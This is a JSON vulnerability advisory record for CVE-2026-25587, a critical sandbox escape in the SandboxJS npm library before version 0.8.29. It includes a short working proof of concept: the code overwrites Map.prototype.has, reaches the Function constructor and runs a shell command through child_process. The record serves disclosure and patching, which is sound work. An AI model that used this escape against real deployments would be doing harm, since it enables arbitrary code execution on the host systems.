{"id":"CVE-2026-25587","aliases":["CVE-2026-25587","GHSA-66h4-qj4x-38xp"],"related":[],"kind":"vulnerability","state":"published","title":"SandboxJS has a Sandbox Escape","summary":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -> RCE","format":"markdown","source":"ghsa"},{"lang":"es","text":"SandboxJS es una librería de sandboxing de JavaScript. Antes de 0.8.29, como Map está en SAFE_PROTOYPES, su prototipo puede ser obtenido a través de Map.prototype. Al sobrescribir Map.prototype.has, el sandbox puede ser evadido. Esta vulnerabilidad está corregida en 0.8.29.","source":"nvd"}],"published":"2026-02-05T21:05:59.000Z","modified":"2026-06-17T10:24:54.443Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-74","CWE-94"],"affected":[{"ranges":[{"version":"< 0.8.29","status":"affected"}],"vendor":"nyariv","product":"SandboxJS","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.29"}],"ecosystem":"npm","package":"@nyariv/sandboxjs","purl":"pkg:npm/%40nyariv/sandboxjs","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.8.29"}],"vendor":"nyariv","product":"sandboxjs","cpe":"cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25587","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-06T20:18:59.129Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25587","url":"https://www.cve.org/CVERecord?id=CVE-2026-25587","licence":"CVE Terms of Use","modified":"2026-02-06T20:19:06.992Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-66h4-qj4x-38xp","url":"https://github.com/advisories/GHSA-66h4-qj4x-38xp","licence":"CC-BY-4.0","modified":"2026-02-06T22:22:31.166Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25587","licence":"Public domain","modified":"2026-06-17T10:24:54.443Z"}],"updatedAt":"2026-11-25T22:59:13.572Z","epss":{"score":0.00701,"percentile":0.54451,"date":"2026-12-01T12:00:22.000Z"}}